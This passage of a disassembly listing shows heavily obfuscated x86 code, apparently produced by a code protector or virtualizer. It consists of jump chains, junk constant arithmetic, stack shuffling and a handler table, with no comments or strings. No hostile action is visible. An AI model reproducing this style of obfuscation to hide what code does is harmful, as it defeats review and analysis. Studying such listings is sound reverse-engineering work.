--------------------------------------------------------------------------- mov ax, [esp] push edx push esp pop edx push ebp push esi push 71AC525Dh pop esi xor esi, 416D41E2h jnz loc_590921 push ecx push eax mov eax, 30C113BBh mov ecx, eax pop eax push eax loc_59602B: ; CODE XREF: sdfs____:00595CC5j mov al, 0B7h xor bl, al mov ax, [esp] add esp, 2 jmp loc_58C9E9 ; --------------------------------------------------------------------------- loc_59603E: ; CODE XREF: sdfs____:00590B17j add edx, 0F40C1F3Dh mov eax, edx pop edx xor edx, eax pop eax add eax, 7B327B3Ah add eax, edx push edx jmp loc_597D5B ; --------------------------------------------------------------------------- loc_596057: ; CODE XREF: sdfs____:00594084j not edi neg edi add edi, 3B1A496Ah jmp loc_58E303 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_596066: ; CODE XREF: sub_591370-D77j add ebp, ebx mov ebx, [esp-18h+arg_14] push eax mov eax, esp jmp loc_590CB2 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_596073: ; CODE XREF: sdfs____:00590E42j jmp loc_591416 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_596078: ; CODE XREF: sub_5941BD+2F67j mov esi, [esp+14h+var_14] push ebp mov ebp, esp jmp loc_59626B ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_596083: ; CODE XREF: sub_590CC3-5109j mov ecx, 652F2Fh add ebx, ecx pop ecx sub esp, 4 mov [esp+0], ecx push ebx push 5FDFh jmp loc_58E0A6 ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- loc_59609C: ; CODE XREF: sdfs____:005905EBj mov bl, 0E9h mov cl, 2 add cl, bl pop ebx inc cl not cl push edx jmp loc_58FE22 ; --------------------------------------------------------------------------- loc_5960AD: ; CODE XREF: sdfs____:00597E3Aj pop edx jmp loc_592109 ; --------------------------------------------------------------------------- loc_5960B3: ; CODE XREF: sdfs____:005989A1j dec ecx push edx mov edx, 1 add ecx, edx pop edx xor ecx, 0F781908h push esi sub esp, 4 mov [esp], ebp push ecx mov ecx, 15084804h push ecx sub dword ptr [esp], 39B0291Eh pop ebp add ebp, 39B0291Eh pop ecx and ebp, 0FB06DD1h jg loc_592B3C not ebp shr ebp, 3 jmp loc_58CD89 ; --------------------------------------------------------------------------- sub edx, ecx pop ecx mov dh, al loc_5960FB: ; CODE XREF: sdfs____:00591F0Aj mov eax, 610E2359h add edx, eax pop eax sub eax, edx jmp loc_594E4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59610A: ; CODE XREF: sub_591435-321Aj pop ax push ecx mov ch, 2Fh add al, ch jmp loc_58DAB7 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_596116: ; CODE XREF: sdfs____:00595F27j mov [edi+20h], eax jmp loc_596905 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59611E: ; CODE XREF: sub_594228-72F7j ; sub_591435+64F3j mov ch, bh mov [edi+eax*4], ch jmp loc_58DE20 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_596128: ; CODE XREF: sub_5985AE-7A68j push ecx push esi mov esi, 79EE1565h mov ecx, esi mov esi, [esp-8+arg_4] add esp, 4 sub edx, ecx pop ecx add edx, 12273A74h add edx, ebx sub edx, 12273A74h add edx, 79EE1565h jmp loc_591CD4 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_596153: ; CODE XREF: sub_5BB696-2616Bj jmp loc_58BF25 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_596158: ; CODE XREF: sdfs____:00590605j add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_58D073 ; --------------------------------------------------------------------------- loc_59616C: ; CODE XREF: sdfs____:00592668j inc esi sub esi, 710C0BFDh or esi, 65815E71h xor esi, 6603191Eh add esi, 31967F97h jmp loc_58C88E ; --------------------------------------------------------------------------- loc_59618A: ; CODE XREF: sdfs____:00594419j ; sdfs____:0059749Aj mov dl, 1 jmp loc_597B77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_596191: ; CODE XREF: sub_58FE99+5592j dec esi jmp loc_58F004 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_596197: ; CODE XREF: sdfs____:00590FCEj push edi jmp loc_58C81F ; --------------------------------------------------------------------------- loc_59619D: ; CODE XREF: sdfs____:00595769j add edx, ebp pop ebp jmp loc_5905B7 ; --------------------------------------------------------------------------- loc_5961A5: ; CODE XREF: sdfs____:00596D55j xor edx, 46A062A5h jmp loc_592400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5961B0: ; CODE XREF: sub_594228-1F14j sub esi, 0E8850BF0h mov ecx, esi pop esi jmp loc_595C37 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5961BE: ; CODE XREF: sub_591435-2B8Aj push 6D2F48A7h pop ecx add ebp, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 and eax, ebp mov ebp, [esp+8+var_8] jmp sub_5934D7 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_5961D6: ; CODE XREF: sub_59841F-62Ej push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 push ebp push esp pop ebp push 2D14h mov [esp+0Ch+var_C], esi push edx push eax mov eax, 37FF10DEh mov edx, eax mov eax, [esp+14h+var_14] add esp, 4 mov esi, 43EF16FEh add esi, edx pop edx sub esi, 7BEE27D8h add ebp, esi jmp loc_58CF8C ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596214: ; CODE XREF: sub_594228-474Dj movzx eax, al pop dword ptr [edi+eax*4] jmp loc_591754 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59621F: ; CODE XREF: sub_5917C0+5957j push [esp-4+arg_0] pop eax jmp loc_58EB79 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_596228: ; CODE XREF: sub_59377D-3C9j add ebp, edi pop edi add ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] or edx, eax shl edx, 1 push ebp jmp loc_58E4E2 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_596241: ; CODE XREF: sdfs____:00592F93j add esp, 4 sub esp, 4 mov [esp], esi push 6E2C0044h jmp loc_596D9B ; --------------------------------------------------------------------------- loc_596257: ; CODE XREF: sdfs____:00598013j pop ecx mov eax, [esp] add esp, 4 add ecx, 99DAB647h add ebx, ecx jmp loc_5908D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59626B: ; CODE XREF: sub_5941BD+1EC1j add ebp, 4 jmp loc_594B49 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_596276: ; CODE XREF: sdfs____:00598561j mov cl, bh jmp loc_595F9C ; --------------------------------------------------------------------------- loc_59627D: ; CODE XREF: sdfs____:0059400Cj ; sdfs____:00594914j mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] pop esp add bl, 4Dh sub bl, 7Bh add bl, al jmp loc_5910B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596299: ; CODE XREF: sub_594228-5B15j ; sdfs____:0058F6DFj shl edi, 2 jmp loc_5909DA ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], esi push ebx jmp loc_59584B ; --------------------------------------------------------------------------- loc_5962B1: ; CODE XREF: sdfs____:00595669j mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax jmp loc_593452 ; --------------------------------------------------------------------------- loc_5962C4: ; CODE XREF: sdfs____:00590296j shr ebp, 8 add ebp, 72DD7345h and ebp, 38814911h xor ebp, 96A687E4h add esi, ebp pop ebp jmp loc_597FBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_5962E1: ; CODE XREF: sub_58BAD7+CBB3j add [esp+4], ebp pop ebp jmp loc_58CF81 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; =============== S U B R O U T I N E ======================================= sub_5962EB proc near ; CODE XREF: sub_59587A+2E80j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0058C173 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058C629 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058CB0E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058CC4B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058CCC2 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0058D99A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058DD9C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058DEEE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E0E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E347 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E579 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E5BF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058EA96 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058F145 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058F628 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058F6AD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058F960 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FB35 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059032A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00590906 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00590A52 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00590E88 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00590EEA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00590FD3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00591032 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591207 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005914E6 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0059167C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059184C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005918A7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00591C16 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00591E1F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591ECC SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00591FD9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591FF1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059226D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059241F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00592511 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059252F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00592646 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00592864 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00592BCD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005930FF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005936FF SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059388A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594179 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005941C8 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005945D6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005946E4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005949D9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00594A5D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00595214 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059548C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595609 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0059566E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00595C79 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595CCA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00595E10 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596692 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005967C4 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00596894 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00596A59 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00596B7C SIZE 00000057 BYTES ; FUNCTION CHUNK AT 00597C12 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005983AD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059853F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00598626 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00598B88 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00598D5F SIZE 0000000B BYTES push ebx sub [esp+8+var_8], 67D437C0h pop edx add edx, 67D437C0h pop ebx shr edx, 8 sub edx, 0A435837h add edx, 71EA69B7h jmp loc_5936FF sub_5962EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_59630F: ; CODE XREF: sdfs____:00597A13j mov eax, [esp] jmp loc_58C831 ; --------------------------------------------------------------------------- loc_596317: ; CODE XREF: sdfs____:005951DBj push dword ptr [esp] pop edx jmp loc_5929A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_596320: ; CODE XREF: sub_591370+316Fj ; sdfs____:00596A24j pop edi push ebp push [esp-18h+arg_18] pop ebp jmp loc_593B66 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59632C: ; CODE XREF: sdfs____:005987E1j mov edi, 6A0A6B50h jmp loc_58D892 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596336: ; CODE XREF: sub_594228-3184j add eax, 0E34CB30Bh jmp loc_5933EE ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- lodsb jmp loc_5976E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_596346: ; CODE XREF: sub_59841F-8E0Ej add esi, ecx pop ecx xchg esi, [esp+0] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] pop esp jmp loc_58C014 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5920A6 loc_596362: ; CODE XREF: sub_5920A6+1j mov ebx, 370600A1h shl ebx, 4 sub ebx, 715F7A72h jmp loc_58F52D ; END OF FUNCTION CHUNK FOR sub_5920A6 ; --------------------------------------------------------------------------- loc_596375: ; CODE XREF: sdfs____:0058C6D6j mov [esp], esi mov esi, 426A1FBAh mov edi, esi pop esi jmp loc_59243A ; --------------------------------------------------------------------------- loc_596385: ; CODE XREF: sdfs____:0058CD16j or bh, 40h jmp loc_58F017 ; --------------------------------------------------------------------------- loc_59638D: ; CODE XREF: sdfs____:loc_59679Cj shr ecx, 4 inc ecx jns loc_58D07C jmp loc_59805C ; --------------------------------------------------------------------------- sub ebx, edi mov edi, [esp] loc_5963A1: ; CODE XREF: sdfs____:00595C63j pop dword ptr [esp] jmp loc_58DBC5 ; --------------------------------------------------------------------------- loc_5963A9: ; CODE XREF: sdfs____:0058E49Ej mov ebx, esp add ebx, 4 jmp loc_58FC0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5963B6: ; CODE XREF: sub_591370-4CE9j ; sdfs____:00596727j pop eax push 16C9h mov [esp-8+arg_4], edx mov dh, 0FBh not dh sub dh, 0A4h and dh, 0E0h sub dh, 25h xor ch, dh pop edx inc ch neg ch jmp loc_591B96 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5963D8: ; CODE XREF: sub_591435+25B7j pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] add esp, 4 push 1FCCh mov [esp+8+var_8], ebp mov ebp, 150A0783h neg ebp jp loc_593C79 jmp loc_58D15D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- pop esi sub ebp, 76CB6215h add ebp, esi pop ebx ; START OF FUNCTION CHUNK FOR sub_591370 loc_596405: ; CODE XREF: sub_591370+7624j xchg ecx, [esp-8+arg_4] not ecx xchg ecx, [esp-8+arg_4] push [esp-8+arg_4] mov eax, [esp-4+arg_0] push edx mov edx, esp jmp loc_58D842 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59641B: ; CODE XREF: sub_5941BD-638j jl loc_59599D jmp loc_58F87F ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_596426: ; CODE XREF: sub_590CC3-2BFBj add esp, 4 add ecx, 44A534F7h add ecx, edi sub ecx, 44A534F7h sub esp, 4 mov [esp+4+var_4], edx mov edx, 0 add edx, ecx add eax, [edx] pop edx jmp loc_58E42A ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- loc_59644F: ; CODE XREF: sdfs____:00590711j mov ecx, [esp] add esp, 4 push eax mov eax, 742F6722h jmp loc_58FD0A ; --------------------------------------------------------------------------- loc_596463: ; CODE XREF: sdfs____:0059491Cj not eax sub eax, 1 dec eax shl eax, 5 or eax, 4BAE250Fh sub eax, 0E8675157h jmp loc_596FC4 ; --------------------------------------------------------------------------- loc_59647B: ; CODE XREF: sdfs____:00590B5Dj mov ebp, 2D980401h sub esi, ebp jmp loc_5952C1 ; --------------------------------------------------------------------------- loc_596487: ; CODE XREF: sdfs____:0058C45Bj not edi or edi, 33771041h shr edi, 7 not edi add edi, 59B45669h add ecx, edi jmp loc_58C4AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5964A1: ; CODE XREF: sub_5917C0+4029j add esp, 4 movzx ax, byte ptr [eax] jmp loc_590AD9 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5964B0: ; CODE XREF: sdfs____:00595888j add ecx, 4 xchg ecx, [esp] pop esp push small 2DCBh mov [esp], bx jmp loc_590A75 ; --------------------------------------------------------------------------- loc_5964C4: ; CODE XREF: sdfs____:00593996j pop ebp neg ecx sub ecx, 6194CE2Eh add esi, ecx jmp loc_58F7B6 ; --------------------------------------------------------------------------- loc_5964D4: ; CODE XREF: sdfs____:0059774Ej push eax mov eax, 7D91211Ch push ebp mov ebp, 5EB436D5h sub ebp, 0DF3409AFh jmp loc_597BBB ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ecx push esp pop ecx push eax mov eax, esp jmp loc_593374 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_596503: ; CODE XREF: sub_590CC3+2Cj sub edx, ebx mov ebx, [esp+4+var_4] jmp loc_5952F6 ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_59650D: ; CODE XREF: sub_59587A+F0Ej and ebp, 68F577C6h push edx mov edx, 1FD05030h xor edx, 7D5A7E35h inc edx jmp loc_5927BF ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_596525: ; CODE XREF: sdfs____:005951F1j push esi mov esi, 40B13C1Ch dec esi neg esi jmp loc_5949A4 ; --------------------------------------------------------------------------- loc_596533: ; CODE XREF: sdfs____:0058DB4Cj pop ecx sub esp, 4 jmp loc_58D2DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59653C: ; CODE XREF: sub_5917C0+1B2Cj sub ebx, 86D3E631h mov edx, ebx pop ebx sub ecx, edx pop edx jmp loc_58EF85 ; --------------------------------------------------------------------------- loc_59654D: ; CODE XREF: sub_5917C0+39B6j pop ecx push esi mov esi, 0E4383Ah jmp loc_58C367 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_58F6F0 ; --------------------------------------------------------------------------- loc_596562: ; CODE XREF: sdfs____:00593E81j add esi, 6A58606Fh jmp loc_592ADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59656D: ; CODE XREF: sub_591370+6F4Fj mov edx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp sub edx, 2A7E5A5h jmp loc_597141 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59658C: ; CODE XREF: sdfs____:005950E2j push ebp inc dword ptr [esp] pop ebp shr ebp, 2 js loc_597623 jmp loc_5956F5 ; --------------------------------------------------------------------------- loc_59659F: ; CODE XREF: sdfs____:00592C59j push 734Ah mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_597DB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_5965B4: ; CODE XREF: sub_59587A-30E6j shr ebp, 3 jnz loc_598AB5 sub ebp, 0B7C44CC9h mov esi, ebp mov eax, eax loc_5965C7: ; CODE XREF: sdfs____:00592CB8j ; sdfs____:00594B32j sub ebp, 97514C7h jmp loc_59831B ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5965D2: ; CODE XREF: sub_594228+10Dj add edx, edi pop edi sub edx, 4 xchg edx, [esp-0Ah+arg_6] jmp loc_597885 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_5965E3: ; CODE XREF: sub_5941BD-69E0j xor edx, 9911E4C5h add esi, edx jmp loc_58DC24 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_5965F0: ; CODE XREF: sdfs____:00594DBDj shl word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_5965FA: ; CODE XREF: sub_5BB696-269CFj mov ebx, 4 sub eax, 41B33A5Fh sub eax, 7DE0A98h add eax, ebx add eax, 7DE0A98h add eax, 41B33A5Fh mov ebx, [esp+20h+var_20] add esp, 4 xor eax, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], eax xor eax, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] movzx eax, al push dword ptr [edi+eax*4] push edx push ecx jmp loc_58C3EC ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596637: ; CODE XREF: sub_5917C0:loc_58CA5Fj jmp loc_596D3C ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_59663C: ; CODE XREF: sdfs____:005987D2j mov ecx, [esp] jmp loc_594A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_596644: ; CODE XREF: sub_59377D+3808j pop ebp pop ecx and eax, ebp push [esp+4+var_4] mov ebp, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], ebp mov ebp, esp push edi mov edi, 39637B0Dh jmp loc_5933AA ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_596667: ; CODE XREF: sdfs____:005978BDj pop eax push esi jmp loc_58D0E3 ; =============== S U B R O U T I N E ======================================= sub_59666E proc near ; CODE XREF: sub_594228-7C6j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BC09 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D3D7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058F728 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005947EC SIZE 0000001C BYTES push ebp push esp push [esp+8+var_8] jmp loc_58F728 sub_59666E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596678: ; CODE XREF: sub_594228-5CF4j mov ecx, [esp+1Ah+var_1C+2] add esp, 4 jmp sub_596F8A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_596683: ; CODE XREF: sub_58EB23+802Fj mov esi, esp push edx mov edx, 4 add esi, edx jmp loc_58C095 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_596692: ; CODE XREF: sub_5962EB-588Fj mov eax, [esp-8+arg_4] add esp, 4 jmp loc_58D99A ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp jmp loc_58C460 ; --------------------------------------------------------------------------- loc_5966AB: ; CODE XREF: sdfs____:00594458j or ebx, 1A3069E9h jnz loc_597670 dec ebx jnz loc_593452 jbe loc_593C16 mov dh, 91h loc_5966C6: ; CODE XREF: sdfs____:00593852j mov [esp], edi push ebx push edx mov edx, 5A221C68h shl edx, 3 push edi mov edi, 0EB47667h add edi, 10BF2F91h add edi, 342D0F57h jmp loc_58EC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_5966EA: ; CODE XREF: sub_5941BD+42E8j mov edx, esp jmp loc_58D69E ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5966F1: ; CODE XREF: sub_591435-3CA4j xchg esi, [esp+0Ch+var_C] pop esp push ebx jmp loc_591023 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5966FB: ; CODE XREF: sdfs____:00591B38j pop edx jmp loc_596CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596701: ; CODE XREF: sub_5917C0-3BABj push dword ptr [esp+4] jmp loc_590AD1 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_59670A: ; CODE XREF: sdfs____:005923A3j push eax mov eax, esp sub esp, 4 mov [esp], edx mov edx, 448E5858h or edx, 73A1B90h jp loc_592350 jmp loc_5963B6 ; --------------------------------------------------------------------------- mov ebx, [esp] add esp, 4 push ecx mov ebp, edx push esp ; =============== S U B R O U T I N E ======================================= sub_596736 proc near ; CODE XREF: sub_5934D7+420Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058E151 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058EA11 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058EA68 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059075B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591011 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00591BAD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059227C SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00593FB0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005942B9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059447C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00595014 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005973B8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00597E03 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00597EE2 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059880E SIZE 00000013 BYTES push ebx sub esp, 4 jmp loc_591BAD sub_596736 endp ; --------------------------------------------------------------------------- loc_596742: ; CODE XREF: sdfs____:00597433j pop ebp push esi mov esi, 16BE2C33h xor esi, 6FC659A9h not esi sub esi, 86878A61h jmp loc_58E3F1 ; --------------------------------------------------------------------------- loc_59675C: ; CODE XREF: sdfs____:00593870j shr ebx, 5 xor ebx, 26530D16h push 789Dh mov [esp], eax push 73966A44h mov eax, [esp] jmp loc_591E26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_59677A: ; CODE XREF: sub_59587A-416Cj add edx, eax push ebp mov ebp, 523121E0h xchg edx, ebp not edx xchg edx, ebp jmp loc_59650D ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59678D: ; CODE XREF: sub_591435-3C91j ; sdfs____:00592C0Bj pop edi add ebx, 1BC2BB25h add ecx, ebx pop ebx jmp sub_58FE3C ; END OF FUNCTION CHUNK 